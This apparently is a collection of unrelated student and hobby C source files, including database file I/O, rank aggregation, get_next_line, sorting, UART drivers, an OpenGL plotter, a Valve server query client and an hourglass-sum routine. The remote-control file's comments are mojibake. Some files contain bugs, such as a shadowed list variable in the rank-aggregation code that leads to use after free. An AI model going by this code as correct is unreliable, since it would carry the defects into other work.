row; fseek(movies_file, offset, SEEK_SET); fwrite(&movie, sizeof(Movie), 1, movies_file); fclose(movies_file); } int update_role_in_file(Database* database, int start_row, Role role){ FILE* roles_file = fopen(database->roles_file, "r+b"); int cur_row = start_row; int size_of_one_row = sizeof(Role) + sizeof(int); while (cur_row != -1) { unsigned offset = size_of_one_row * cur_row + sizeof(int); fseek(roles_file, offset, SEEK_SET); Role cur_role; fread(&cur_role, sizeof(Role), 1, roles_file); if (cur_role.id == role.id){ fseek(roles_file, offset, SEEK_SET); fwrite(&role, sizeof(Role), 1, roles_file); fclose(roles_file); return 0; } fread(&cur_row, sizeof(int), 1, roles_file); } fclose(roles_file); return -1; }
C
//////////////////////////////////////////////////////////////////////// // nameofgroup - Tom Day, Julian Jankowski, Tassja Kriek // // F09B, Henry Zhao // // 21/10/2017 // // COMP2521 assignment 2, Part 3 // // // // Hybrid/Meta Search Engine using Rank Aggregation // //////////////////////////////////////////////////////////////////////// #include <stdlib.h> #include <stdio.h> #include <string.h> #include <assert.h> #include "scaledFootrule.h" #define BUFF 1000 typedef struct urlList { UrlNode first; UrlNode last; float numUrls; float W; } urlList; typedef struct urlNode { char *word; UrlNode next; UrlNode prev; } urlNode; int main(int argc, char *argv[]) { // checkin that there is atleat one input list // will return W = 0 for a single list and the minimum // W otherwise if (argc < 2) { printf("Too few arguments!\n"); return EXIT_FAILURE; } // adding going through all of the files and storing their //contents in an array of lists call list. The union of these files // is also stored in urlUnion in alphabetical order int i; FILE *fp; char tmp[BUFF]; int numFiles = argc - 1; UrlList list[numFiles]; UrlList urlUnion = newUrlList(); // for each file for (i = 0; i < numFiles; i++) { list[i] = newUrlList(); fp = fopen(argv[i + 1], "r"); // for every url listed in the file while (fscanf(fp, "%s", tmp) == 1) { //add url to list and union appendUrl(list[i], newUrlNode(tmp)); addUrlAlphabetically(urlUnion, newUrlNode(tmp)); } fclose(fp); } // loading urlUnion list int and array called urlUnionArray UrlNode *urlUnionArray = calloc(urlUnion->numUrls, sizeof(urlNode)); assert(urlUnionArray != NULL); UrlNode tmpNode = urlUnion->first; for (i = 0; i < urlUnion->numUrls; i++) { urlUnionArray[i] = tmpNode; tmpNode = tmpNode->next; } // calculate W for every permutation and print the minumum printMinW(list, numFiles, urlUnionArray, urlUnion->numUrls); // free lists and arrays freeUrlList(urlUnion); free(urlUnionArray); for (i = 0; i < numFiles; i++) { freeUrlList(list[i]); } return EXIT_SUCCESS; } void appendUrl(UrlList l, UrlNode node) { assert (l != NULL); if (l->first == NULL) { l->first = node; l->last = node; } else { l->last->next = node; node->prev = l->last; l->last = node; } l->numUrls++; } UrlNode newUrlNode(char *url) { UrlNode new = malloc(sizeof(urlNode)); new->word = calloc(sizeof(char), strlen(url) + 1); assert(new->word != NULL); strcpy(new->word, url); new->next = NULL; new->prev = NULL; return new; } UrlList newUrlList() { UrlList new = malloc(sizeof(urlList)); new->first = NULL; new->last = NULL; new->numUrls = 0; return new; } void freeUrlList(UrlList l) { assert(l != NULL); UrlNode curr = l->first; UrlNode next; while (curr != NULL) { next = curr->next; free(curr->word); free(curr); curr = next; } free(l); } void addUrlAlphabetically(UrlList l, UrlNode node) { assert (l != NULL); // Empty case if (l->first == NULL) { l->first = node; l->last = node; l->numUrls++; return; } // Insert at start if the first word is alphabetically after node if (strcmp(l->first->word, node->word) > 0) { l->first->prev = node; node->next = l->first; l->first = node; l->numUrls++; return; } // Insert in middle UrlNode curr; for (curr = l->first; curr != NULL; curr = curr->next) { // if current is alphabetically after node insert before if (strcmp(curr->word, node->word) > 0) { curr->prev->next = node; node->prev = curr->prev; node->next = curr; curr->prev = node; l->numUrls++; return; } // don't insert duplicates if (strcmp(curr->word, node->word) == 0) { return; } } // If no node in the list is alphabetically after node - append l->last->next = node; node->prev = l->last; l->last = node; l->numUrls++; } float calculateW(UrlList list[], int numFiles, UrlNode permutation[], float numUrls) { int i; int j; float pos; float rank = 1; // start from the first rank (position) in the union float ans = 0; // initialise the answer sum to 0 UrlNode unionCurr; UrlNode fileCurr; // foreach url in union for (i = 0; i < numUrls; i++) { unionCurr = permutation[i]; // for each file for (j = 0; j < numFiles; j++) { pos = 1; // for each url in the file (find the url in the file) for (fileCurr = list[j]->first; fileCurr != NULL; fileCurr = fileCurr->next) { // checking if you have found the url if (strcmp(unionCurr->word, fileCurr->word) == 0) { //apply formula on url ans += absVal(pos/list[j]->numUrls - rank/numUrls); } pos++; // increment to the next position (rank) in the file } } rank++; // increment to the next rank (position) in the union } return ans; } long factorial(int a) { int i; long ans = 1; for (i = 1; i <= a; i++) { ans = ans*i; } return ans; } float absVal(float a) { if (a >= 0) return a; return -a; } void printMinW(UrlList list[], int numFiles, UrlNode permutation[], float length) { int *array = calloc(length, sizeof(int)); assert(array != NULL); float tmpAns; float min; UrlList minList; int i; int j; UrlNode tmp; // setting array[length] = {0}; for (i = 0; i < length; i++) array[i] = 0; // calculating scaledFootrule for initial (alphabetical) permutation // and setting that as the minimum that we have seen so far tmpAns = calculateW(list, numFiles, permutation, length); min = tmpAns; minList = newUrlList(); // loading inital permutation into permlist[0] for (i = 0; i < length; i++) { appendUrl(minList, newUrlNode(permutation[i]->word)); } // using non-reccursive Heap's algorithm to compute all // of the permutations (from Heap's algorithm wiki) i = 0; while (i < length) { if (array[i] < i) { if (i % 2 == 0) { //swap permutation[0] and permutation[i] tmp = permutation[0]; permutation[0] = permutation[i]; permutation[i] = tmp; } else { // swap permutation[array[i]] and permutation[i]) tmp = permutation[array[i]]; permutation[array[i]] = permutation[i]; permutation[i] = tmp; } // New permutation // calculate the scaledFootrule for this permutationand store // the answer in tmpAns. If this is the minimum also store // the permutation in minList tmpAns = calculateW(list, numFiles, permutation, length); if (tmpAns < min) { freeUrlList(minList); UrlList minList = newUrlList(); min = tmpAns; for (j = 0; j < length; j++) { appendUrl(minList, newUrlNode(permutation[j]->word)); } } array[i]++; i = 0; } else { array[i] = 0; i++; } } // print the minimum printf("%.6f\n", min); for (tmp = minList->first; tmp != NULL; tmp = tmp->next) { printf("%s\n", tmp->word); } // free array and list free(array); freeUrlList(minList); }
C
/* ** EPITECH PROJECT, 2019 ** get_next_line ** File description: ** main file */ #include <fcntl.h> #include <unistd.h> #include <zconf.h> #include <stdlib.h> #include "get_next_line.h" int chek_it(char const *str) { int cases; for (cases = 0; str[cases]; cases++) if (str[cases] == '\n') return (84); return (0); } char *my_concate(char const *res, char const *buffer, int size) { int compteur = 0, compteur2 = 0; char *str; for (compteur = 0; res[compteur]; compteur++); str = malloc(sizeof(char) * (compteur + size + 1)); if (str == NULL) return (NULL); for (compteur = 0; res[compteur]; compteur++) str[compteur] = res[compteur]; for (; size != 0 && compteur2 < size; compteur2++) str[compteur + compteur2] = buffer[compteur2]; str[compteur + size] = '\0'; return (str); } char *my_scrap(char const *str) { int cases = 0, cases2 = 0; char *scrap = NULL; for (cases = 0; str[cases] && str[cases] != '\n'; cases++); (str[cases] == '\n') ? cases++ : cases; for (cases2 = 0; str[cases2]; cases2++); scrap = malloc(sizeof(char) * ((cases2 - cases) + 1)); if (scrap == NULL) return (NULL); for (cases2 = 0; str[cases]; cases2++, cases++) scrap[cases2] = str[cases]; scrap[cases2] = '\0'; return (scrap); } char *get_next_line(int fd) { static int weight = 1, start = 0; static char buffer[READ_SIZE]; static char *temporary = "\0"; char *scrap = "\0"; int i; if (buffer == NULL || READ_SIZE <= 0 || fd == -1) return (NULL); for (i = 0; temporary[i]; i++); if (start++ != 0 && i != 0) if ((scrap = my_concate(temporary, NULL, 0)) == NULL) return (NULL); while (weight != 0 && (weight = read(fd, buffer, READ_SIZE)) > 0) if (((scrap = my_concate(scrap, buffer, weight)) && chek_it(scrap) == 84) || !scrap) break; for (i = 0; temporary[i]; i++); if (scrap == NULL || (temporary = my_scrap(scrap)) == NULL || weight == -1 || (weight == 0 && i == 0)) return (NULL); for (int cases = 0; scrap[cases]; cases++) (scrap[cases] == '\n') ? scrap[cases] = '\0' : 0; return (scrap); }
C
#include <stdlib.h> #include "function_pointers.h" /** * int_index - a function that searches for an integer. * @array: array * @size: the size * @cmp: comparison fct * * Return: the index of the first founded element, (-1) otherwise */ int int_index(int *array, int size, int (*cmp)(int)) { int a; if (array == NULL || cmp == NULL) return (-1); if (size <= 0) return (-1); a = 0; while (a < size) { if (cmp(array[a])) return (a); a++; } return (-1); }
C
/* 1. Comenzamos a hacer la comparacion de elementos adyacentes. 2. Repetimos hasta tener una pasada completa sin ningun swap. */ #include <stdio.h> #include <stdlib.h> void change_pos(int *n1, int *n2) { int temp = *n1; *n1 = *n2; *n2 = temp; } void bubbleSort(int vector_entrada[], int n) { int i, j; for(i=0; i < n-1; i++) { for(j=0; j < n-i-1; j++) { //[10,5,3,3333] if(vector_entrada[j]>vector_entrada[j+1]) change_pos(&vector_entrada[j],&vector_entrada[j+1]); } } } int print( int vector_entrada[], int n) { int i; for(i=0; i<n; i++) printf("%i ,", vector_entrada[i]); printf("\n Fin del ordenamiento"); return 0; } int main() { int vector_entrada[]={100, 1992, 0, 5, -1, 60, 70, 15, 14}; int n = sizeof(vector_entrada)/sizeof(vector_entrada[0]); bubbleSort(vector_entrada, n); print(vector_entrada, n); printf("\n"); return 0; }
C
#include "usart.h" #include "Pc_Uart.h" #include "Remote_Ctrl.h" #include "math.h" uint8_t USART1_DMA_RX_BUF[BSP_USART1_DMA_RX_BUF_LEN]; //һڴŴDMAյң RemoteCtrl_t RemoteCtrlData; //ң int8_t RemoteCtrlFlag = 0; //ңձ־λ uint8_t mouseRFlag1 = 0, mouseRFlag2 = 0, ReceiveTimes = 0; // uint8_t mouseRFlag3 = 0, mouseRFlag4 = 0; uint8_t mouseRFlag5 = 0, mouseRFlag6 = 0; uint8_t mouseRFlag7 = 0, mouseRFlag8 = 0; uint8_t mouseRFlag01 = 0, mouseRFlag02 = 0; uint8_t mouseRFlag03 = 0, mouseRFlag04 = 0; uint8_t mouseRFlag05 = 0, mouseRFlag06 = 0; /** * @brief ңЭԽнյݽд * @param pData: һָ8λݵָ * @retval None */ void RC_DataHandle(uint8_t *pData) { if (pData == NULL) { return; } // ReceiveTimes++; // if(ReceiveTimes > 50) // ReceiveTimes = 0; RemoteCtrlFlag = 1; /* pData[0]Ϊch0ĵ8λData[1]ĵ3λch0ĸ3λ */ RemoteCtrlData.remote.ch0 = (uint16_t)(pData[0] | pData[1] << 8) & 0x07FF; /* pData[1]ĸ5λΪch1ĵ5λpData[2]ĵ6λΪch1ĸ6λ */ RemoteCtrlData.remote.ch1 = (uint16_t)(pData[1] >> 3 | pData[2] << 5) & 0x07FF; /* pData[2]ĸ2λΪch2ĵ2λ, pData[3]Ϊch28λpData[4]ĵ1λΪch2ĸ1λ */ RemoteCtrlData.remote.ch2 = (uint16_t)(pData[2] >> 6 | pData[3] << 2 | pData[4] << 10) & 0x07FF; /* pData[4]ĸ7λΪch3ĵ7λpData[5]ĵ4λΪch3ĸ4λ */ RemoteCtrlData.remote.ch3 = (uint16_t)(pData[4] >> 1 | pData[5] << 7) & 0x07FF; /* pData[5]ĸ2λΪs1 */ RemoteCtrlData.remote.s1 = ((pData[5] >> 6) & 0x03); /* pData[6]67λΪs2 */ RemoteCtrlData.remote.s2 = ((pData[5] >> 4) & 0x03); /* pData[6],pData[7]Ϊx */ RemoteCtrlData.mouse.x = (int16_t)(pData[6] | pData[7] << 8); /* pData[8],pData[9]Ϊy */ RemoteCtrlData.mouse.y = (int16_t)(pData[8] | pData[9] << 8); /* pData[10],pData[11]Ϊz */ RemoteCtrlData.mouse.z = (int16_t)(pData[10] | pData[11] << 8); /* pData[12]Ϊ */ RemoteCtrlData.mouse.press_l = pData[12]; /* pData[13]ΪҼ */ if(!mouseRFlag1) { RemoteCtrlData.mouse.press_r = pData[13]; if(pData[13] == 1) mouseRFlag1++; } if(mouseRFlag1) { mouseRFlag2++; } if(mouseRFlag2 > 50) { mouseRFlag1 = 0; mouseRFlag2 = 0; } /* pData[14],pData[15]Ϊֵ */ { if(!mouseRFlag3) { RemoteCtrlData.key.shift = (int16_t)((pData[14] >> 4) & 0x01); if(RemoteCtrlData.key.shift == 1) mouseRFlag3++; } if(mouseRFlag3) { mouseRFlag4++; } if(mouseRFlag4 > 50) { mouseRFlag3 = 0; mouseRFlag4 = 0; } } { if(!mouseRFlag5) { RemoteCtrlData.key.S = (int16_t)((pData[14] >> 1) & 0x01); if(RemoteCtrlData.key.S == 1) mouseRFlag5++; } if(mouseRFlag5) { mouseRFlag6++; } if(mouseRFlag6 > 30) { mouseRFlag5 = 0; mouseRFlag6 = 0; } } { if(!mouseRFlag7) { RemoteCtrlData.key.A = (int16_t)((pData[14] >> 2) & 0x01); if(RemoteCtrlData.key.A == 1) mouseRFlag7++; } if(mouseRFlag7) { mouseRFlag8++; } if(mouseRFlag8 > 30) { mouseRFlag7 = 0; mouseRFlag8 = 0; } } { if(!mouseRFlag01) { RemoteCtrlData.key.Q = (int16_t)((pData[14] >> 6) & 0x01); if(RemoteCtrlData.key.Q == 1) mouseRFlag01++; } if(mouseRFlag01) { mouseRFlag02++; } if(mouseRFlag02 > 30) { mouseRFlag01 = 0; mouseRFlag02 = 0; } } { if(!mouseRFlag03) { RemoteCtrlData.key.W = (int16_t)((pData[14]) & 0x01); if(RemoteCtrlData.key.W == 1) mouseRFlag03++; } if(mouseRFlag03) { mouseRFlag04++; } if(mouseRFlag04 > 30) { mouseRFlag03 = 0; mouseRFlag04 = 0; } } { if(!mouseRFlag05) { RemoteCtrlData.key.E = (int16_t)((pData[14] >> 7) & 0x01); if(RemoteCtrlData.key.E == 1) mouseRFlag05++; } if(mouseRFlag05) { mouseRFlag06++; } if(mouseRFlag06 > 30) { mouseRFlag05 = 0; mouseRFlag06 = 0; } } // RemoteCtrlData.key.shift = (int16_t)((pData[14] >> 4) & 0x01); // if(RemoteCtrlData.key.shift == 1) // { // UART7_TX_BUF[2] = !UART7_TX_BUF[2]; // HAL_UART_Transmit(&huart7, UART7_TX_BUF, 3, 10); // RemoteCtrlData.key.shift = 0; // } /* ֽн */ RemoteCtrlData.remote.figWheel = (uint16_t)(pData[16] | pData[17] << 8); } /** * @brief Ӧң뺯 * @param None * @retval None */ //int16_t RemoteCH_Decode(uint16_t remoteDate) //{ // int16_t temValue; // temValue = remoteDate - 1024; // if(temValue > 0) // { // return temValue; // } //} /*ƣRemotreCtl_Data_Receive *ܣңݣλUSART1жϺ *ڲ *ֵ */ void RemoteCtl_Data_Receive(void) { uint32_t rx_data_len = 0; //νճ if((__HAL_UART_GET_FLAG(&huart1,UART_FLAG_IDLE)!=RESET)) { __HAL_UART_CLEAR_IDLEFLAG(&huart1); //жϵı־ __HAL_DMA_CLEAR_FLAG(&hdma_usart1_rx,DMA_FLAG_TCIF2_6); // DMA2_Steam2ɱ־ HAL_UART_DMAStop(&huart1); //ԺرմDMA rx_data_len = BSP_USART1_DMA_RX_BUF_LEN - __HAL_DMA_GET_COUNTER(&hdma_usart1_rx); //ȡһСܳ-ijȣ HAL_UART_Receive_DMA(&huart1, USART1_DMA_RX_BUF, BSP_USART1_DMA_RX_BUF_LEN); // if (rx_data_len == RC_FRAME_LENGTH) //жǷΪȷݳ { RemoteCtrlFlag = 1; //յ RC_DataHandle(USART1_DMA_RX_BUF); //ݽ뺯 } else { RemoteCtrlFlag = 0; } } } /** *ƣRemotreCtl_Data_Receive *ܣңݣλUSART1жϺ *ڲ *ֵ */ //void RemoteCtl_Data_Receive_Start(void) //{ // __HAL_UART_ENABLE_IT(&huart1, UART_IT_IDLE); //ж // HAL_UART_Receive_DMA(&huart1, USART1_DMA_RX_BUF, BSP_USART1_DMA_RX_BUF_LEN); //}
C
#include "sys/alt_stdio.h" #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include "sys/alt_stdio.h" #include "system.h" #include "altera_avalon_uart_regs.h" #include "altera_avalon_uart.h" #include "sys/alt_irq.h" #include "alt_types.h" void serial_init(); void writeMessage(); static void readUART(); volatile char* data_ptr; int main() { serial_init(); while(1){ usleep(1000000); writeCommand("AT"); } return 0; } void serial_init() { void* read_ptr = (void*) &data_ptr; //inhibit all UART IRQ sources IOWR(UART_WIFI_BASE, 3, 0x080); // flush any characters sitting in the holding register IORD(UART_WIFI_BASE, 0); IORD(UART_WIFI_BASE, 0); //reset most of the status register bits IOWR(UART_WIFI_BASE, 2, 0x00); // install IRQ service routine //recast do ponteiro para (void) [requesito do alt_ir_register() ] alt_irq_register(UART_WIFI_IRQ, read_ptr, readUART); // enable irq for Rx. */ } //Função chamada pela interrupçao da uart static void readUART(void* context, alt_u32 id){ char status; char ch; char buffer[64]; int i=0; //Recasting do contexto (void) para um ponteiro (char) volatile char* read_ptr = (volatile char*) context; //Lendo o status, vendo se tem data rx e lendo //Talvez não seja mais necessário, porque a interrupção só é ativada quando TEM data rx //Garantir que é um caractere alfanumérico e que o numero de iterações é menor que 255 do{ status = IORD_ALTERA_AVALON_UART_STATUS(UART_WIFI_BASE); IOWR_ALTERA_AVALON_UART_STATUS(UART_WIFI_BASE,0); //0x80 = mask RXREADY (verificar se realmente chegou caracter, necessário?) }while((status&0x80)!=0x80); //Lê o registrador rx e manda pro ponteiro ch = IORD_ALTERA_AVALON_UART_RXDATA(UART_WIFI_BASE); *read_ptr = ch; //alt_putchar do caractere recebido, para debugging alt_putchar(ch); } void writeCharacter(char ch){ volatile char status; //Check status do registrador tx do { status = IORD_ALTERA_AVALON_UART_STATUS(UART_WIFI_BASE); status = status & ALTERA_AVALON_UART_STATUS_TRDY_MSK; } while(status==0x00); IOWR_ALTERA_AVALON_UART_TXDATA(UART_WIFI_BASE,ch); } void writeCommand(char message[]){ int i=0; volatile char status; char M=message[i]; while(M != '\0'){ //registrador status tem um bit de TRDY (transmit ready) //Se TRDY = 1 -> pode transmitir //Se TRDY = 0 -> TX está sendo usado /*do{ status = IORD_ALTERA_AVALON_UART_STATUS(UART_WIFI_BASE); status = status & ALTERA_AVALON_UART_STATUS_TRDY_MSK; }while(status==0x00); */ IOWR_ALTERA_AVALON_UART_TXDATA(UART_WIFI_BASE,M); i=i+1; M=message[i]; } do{ status = IORD_ALTERA_AVALON_UART_STATUS(UART_WIFI_BASE); status = status & ALTERA_AVALON_UART_STATUS_TRDY_MSK; }while(status==0x00); IOWR_ALTERA_AVALON_UART_TXDATA(UART_WIFI_BASE,'\r'); do{ status = IORD_ALTERA_AVALON_UART_STATUS(UART_WIFI_BASE); status = status & ALTERA_AVALON_UART_STATUS_TRDY_MSK; }while(status==0x00); IOWR_ALTERA_AVALON_UART_TXDATA(UART_WIFI_BASE,'\n'); }
C
#include<stdio.h> #include<stdlib.h> #include<X11/X.h> #include<X11/Xlib.h> #include<GL/gl.h> #include<GL/glx.h> #include<GL/glu.h> #include<math.h> #include<limits.h> #include<string.h> #define PLOT_COLOR 0.0, 0.7, 0.9 #define AXIS_COLOR 0.25, 0.25, 0.25 #define SAMPLE_TYPE float Display *dpy; Window root; GLint att[] = {GLX_RGBA, GLX_DEPTH_SIZE, 24, GLX_DOUBLEBUFFER, None}; XVisualInfo *vi; Colormap cmap; XSetWindowAttributes swa; Window win; GLXContext glc; XWindowAttributes gwa; XEvent xev; int channels; int buffer_size; float colors[4][3] = {{1.0, 0.5, 0.5}, {0.0, 0.9, 0.5}, {1.0, 0.9, 0.5}, {0.0, 0.7, 0.9}}; /* Reads samples from the standard input and deinterlaces them into a buffer for each channel. Rewrites each sample to the standard output */ void read_to_buffers(SAMPLE_TYPE ** buffers, int buffer_size, int channels) { int samples_read, i, j; for (samples_read = 0; samples_read < buffer_size; samples_read++) { for(i = 0; i < channels; i++) { /* Read a sample into channel i */ char sample[sizeof(SAMPLE_TYPE)]; for(j = 0; j < sizeof(SAMPLE_TYPE); j++) { /* Read each byte of the sample and store it */ int n = read(0, &sample[j], 1); if ( n < 0 ) { perror("Could not read"); exit(1); } else if ( n == 0) { fprintf(stderr, "Standard input closed\n"); exit(0); } if (write(1, &sample[j], 1) < 0) { perror("Could not write"); exit(1); } } /* Copy sample into channel buffer */ memcpy(&buffers[i][samples_read], sample, sizeof(SAMPLE_TYPE)); } } } /* Draws each buffer channel */ void drawBuffer(SAMPLE_TYPE ** buffers) { glClearColor(0.0, 0.0, 0.0, 0.0); glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); glMatrixMode(GL_PROJECTION); glLoadIdentity(); glOrtho(-1., 1., -1., 1., 1., 20.); glMatrixMode(GL_MODELVIEW); glLoadIdentity(); gluLookAt(0., 0., 5., 0., 0., 0., 0., 1., 0.); int i, j; double deltaX = 2.0 / buffer_size; for(i = 0; i < channels; i++) { double y0 = (channels - 1 - 2.0 * i)/channels; /* Draw axis */ glBegin(GL_LINES); glColor3f(AXIS_COLOR); glVertex2f(-1, y0); glVertex2f(1, y0); glEnd(); /* Draw points */ glBegin(GL_LINE_STRIP); glColor3f(colors[i%4][0], colors[i%4][1], colors[i%4][2]); for(j = 0; j < buffer_size; j++) { double value, x, y; value = buffers[i][j]; value = value / SHRT_MAX * 64; // Normalize (value in [-1, 1]) value = value / (channels + 0.1); // Fit in window sub-division y = y0 + value; x = -1 + j*deltaX; //glVertex2f(x, y0); glVertex2f(x, y); } glEnd(); } } int main(int argc, char *argv[]) { /* Process input arguments */ if(argc != 3) { fprintf(stderr, "(%s) Usage: plot BUFFER_SIZE CHANNELS\n", argv[0]); fprintf(stderr, "(%s) Usage: plots interlaced data into CHANNELS channels\n", argv[0]); exit(1); } char * endptr; buffer_size = strtol(argv[1], &endptr, 10); if(*endptr != '\0' || buffer_size < 1) { fprintf(stderr, "(%s) ERROR: first argument must be a positive integer\n", argv[0]); exit(1); } fprintf(stderr, "(%s) Buffer size: %d\n", argv[0], buffer_size); channels = strtol(argv[2], &endptr, 10); if(*endptr != '\0' || channels < 1) { fprintf(stderr, "(%s) ERROR: first argument must be a positive integer\n", argv[0]); exit(1); } fprintf(stderr, "(%s) Number of channels: %d\n", argv[0], channels); /* Set up buffers */ SAMPLE_TYPE * buffers[channels]; int i; for (i = 0; i < channels; i++) { buffers[i] = (SAMPLE_TYPE *) malloc(sizeof(SAMPLE_TYPE) * buffer_size); } /* Set up display */ dpy = XOpenDisplay(NULL); if(dpy == NULL) { fprintf(stderr, "Cannot connect to X server\n"); exit(0); } root = DefaultRootWindow(dpy); vi = glXChooseVisual(dpy, 0, att); if(vi == NULL) { fprintf(stderr, "No appropriate visual found\n"); exit(0); } else { fprintf(stderr, "visual %p selected\n", (void *)vi->visualid); } cmap = XCreateColormap(dpy, root, vi->visual, AllocNone); swa.colormap = cmap; swa.event_mask = ExposureMask | KeyPressMask; win = XCreateWindow(dpy, root, 0, 0, 1024, 600, 0, vi->depth, InputOutput, vi->visual, CWColormap | CWEventMask, &swa); XMapWindow(dpy, win); XStoreName(dpy, win, "Plot"); glc = glXCreateContext(dpy, vi, NULL, GL_TRUE); glXMakeCurrent(dpy, win, glc); glEnable(GL_DEPTH_TEST); /* Main loop */ while(1) { read_to_buffers(buffers, buffer_size, channels); XGetWindowAttributes(dpy, win, &gwa); glViewport(0, 0, gwa.width, gwa.height); drawBuffer(buffers); glXSwapBuffers(dpy, win); } }
C
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <arpa/inet.h> #include <sys/time.h> #define MAXDATASIZE 1400 int DNSquery(char* hostname) { char *ptr; struct hostent *hostptr; if ((hostptr = gethostbyname(hostname)) == NULL) { printf("DNS query failure: unable to solve %s\n",hostname); return -1; } if(hostptr->h_addrtype == AF_INET) { inet_ntop(hostptr->h_addrtype, *(hostptr->h_addr_list), hostname, 64); }else{ puts("DNS query failure: unknown address type\n"); return -1; } return 0; } int main(int argc, char *argv[]) { float time_sec; int sockfd, num, pf, nameLen=0, min=0, hr=0; unsigned char buf[2048],challenge[9],player_request[9],*p_time = (unsigned char*)&time_sec; unsigned char info_request[29]={0xFF,0xFF,0xFF,0xFF,0x54,0x53,0x6F,0x75,0x72,0x63,0x65,0x20,0x45,0x6E,0x67,0x69,0x6E,0x65,0x20,0x51,0x75,0x65,0x72,0x79,0x00,0xff,0xff,0xff,0xff}; //argments check if(argc != 2) { printf("\nUsage: %s\033[31;1m IP_address:\033[32mPort \033[0m(port is optional, use 27015 by default)\n\n", argv[0]); return -1; } //transfer arguments to declare ip,port and socket char *server_IP, *getport, *input_option=strdup(argv[1]); server_IP = strsep(&input_option,":"); getport = strsep(&input_option,":"); free(input_option); int PORT=(getport==NULL)?27015:atoi(getport); struct sockaddr_in server; //define protocol as UPD and initiate the socket if((sockfd=socket(AF_INET, SOCK_DGRAM, 0)) == -1) { puts("socket() error\n"); return -1; } bzero(&server, sizeof(server)); server.sin_family = AF_INET; server.sin_port = htons(PORT); if((server.sin_addr.s_addr = inet_addr(server_IP))==-1) { if(DNSquery(server_IP)==-1) return -1; server.sin_addr.s_addr = inet_addr(server_IP); } //set timeout limit to avoid stuck at recv() process struct timeval timeout; timeout.tv_sec = 3; timeout.tv_usec = 0; if (setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)) == -1) { puts("setsockopt() error.\n"); return -1; } if(connect(sockfd, (struct sockaddr *)&server, sizeof(server)) == -1) { puts("Connection Failed.\n"); return -1; } //Send info request to Valve server send(sockfd, info_request, 29, 0); if((num = recv(sockfd, buf, MAXDATASIZE, 0)) == -1) { printf("%s time out.\n",server_IP); return -1; } //in the case of server return a challeng number if(buf[4] & 0x41){ info_request[25]=buf[5];info_request[26]=buf[6];info_request[27]=buf[7];info_request[28]=buf[8]; send(sockfd, info_request, 29, 0); if((num = recv(sockfd, buf, MAXDATASIZE, 0)) == -1) { printf("%s time out.\n",server_IP); return -1; } } //Print server basic info for(pf=6;;) { while(buf[pf]!=0x00) putchar(buf[pf++]); putchar('\t');pf++; while(buf[pf]!=0x00) putchar(buf[pf++]); putchar('\t');pf++; while(buf[pf++]!=0x00);while(buf[pf++]!=0x00); pf+=2; printf("%d/%d\t%s:%d\n",buf[pf],buf[pf+1],server_IP,PORT); break; } //Send player request to Valve server for(pf=0;pf<9;pf++) player_request[pf]=0xFF; player_request[4]=0x55; send(sockfd, player_request, 9, 0); //Receive challenge code from server if((num = recv(sockfd, buf, MAXDATASIZE, 0)) == -1) { printf("%s time out.\n",server_IP); return -1; } //Reply the challenge for(pf=0;pf<num;pf++) challenge[pf]=buf[pf]; challenge[4]=player_request[4]; send(sockfd, challenge, 9, 0); //Receive Players info if((num = recv(sockfd, buf, MAXDATASIZE, 0)) == -1) { printf("%s time out.\n",server_IP); return -1; } //putchar('\n'); //Decode the bytes and print //printf("Total Players: %d\n",buf[5]); if(buf[5]>0x00) { pf=6;nameLen=0; while(pf<num) { if(buf[pf]==0x00) pf++; //Print player name while(buf[pf]!=0x00) { putchar(buf[pf++]); nameLen++; } if(nameLen==0) printf("Loading"); //Print score printf("\t%d\t",buf[++pf]);pf+=4; //Print time as float p_time[0]=buf[pf];p_time[1]=buf[pf+1];p_time[2]=buf[pf+2];p_time[3]=buf[pf+3]; hr=time_sec/3600;min=(time_sec-hr*3600)/60; if(hr) printf("%dh",hr); if(min) printf("%dm",min); printf("%.0fs\n",time_sec-3600*hr-60*min);pf+=4;nameLen=0; } putchar('\n'); } close(sockfd); return 0; }
C
#include <stdio.h> #include <stdlib.h> #include <limits.h> #include <string.h> #define COL 6 #define ROW 6 int kadane(int a[],int *finish, int n) { int maxSoFar=INT_MIN, sum=0,i; int locStart = 0; *finish = -1; for (i=0;i<n;i++) { if (a[i] > maxSoFar) { maxSoFar = a[i]; *finish = i; } } return maxSoFar; } void printHOurGlass(int arr[][COL],int l,int t) { printf("%3d %3d %3d\n", arr[l-1][t-1], arr[l-1][t], arr[l-1][t+1]); printf(" %3d \n", arr[l][t]); printf("%3d %3d %3d\n", arr[l+1][t-1], arr[l+1][t], arr[l+1][t+1]); } void printMatrix(int arr[][COL],int t,int b,int l,int r) { int i,j; for (i=t;i<b;i++) { for(j=l;j<r;j++) { printf("%3d ", arr[i][j]); } printf("\n"); } } int hourGlassSum(int arr[][COL],int l,int t) { int sum = 0; sum = arr[l-1][t-1] + arr[l-1][t] + arr[l-1][t+1] + arr[l][t] + arr[l+1][t-1] + arr[l+1][t] + arr[l+1][t+1]; return sum; } void findMaxSum(int arr[][COL]) { int temp[ROW],maxSum=INT_MIN,sum; int fleft,fright,ftop,fbottom; int left =0, top, right =0,i=0,start, finish; for (left=1; left < COL-1;++left) { memset(temp,0,sizeof(temp)); temp[0] = INT_MIN; temp[ROW-1] = INT_MIN; for (top=1;top < ROW-1 ;++top) { printHOurGlass(arr,left,top); temp[top] = hourGlassSum(arr,left,top); printf("Calculated for above HOurGlass at %d,%d Sum is %d\n", left, top, temp[top]); } sum = kadane(temp,&finish,ROW); printf("-----Calculated Maximum for HOurGlass at %d,%d , Sum is %d, MaxSum is %d\n", left, top, sum, maxSum); if (sum > maxSum) { maxSum = sum; fleft = left-1; fright = left+1; ftop = finish-1; fbottom = finish+1; } } printf("(Top, Left) (%d, %d)\n", ftop, fleft); printf("(Bottom, Right) (%d, %d)\n", fbottom, fright); printf("Max sum is: %d\n", maxSum); printMatrix(arr,fleft,fright,ftop,fbottom); } int main() { int M[ROW][COL] = {{0, -4, -6, 0, -7, -6}, {-1, -2, -6, -8, -3, -1}, {-8, -4,-2, -8, -8, -6}, {-3, -1, -2, -5, -7, -4}, {-3, -5, -3, -6, -6, -6}, {-3, -6, 0, -8, -6, -7} }; printMatrix(M,0,ROW,0,COL); findMaxSum(M); printMatrix(M,0,ROW,0,COL); return 0; }
C
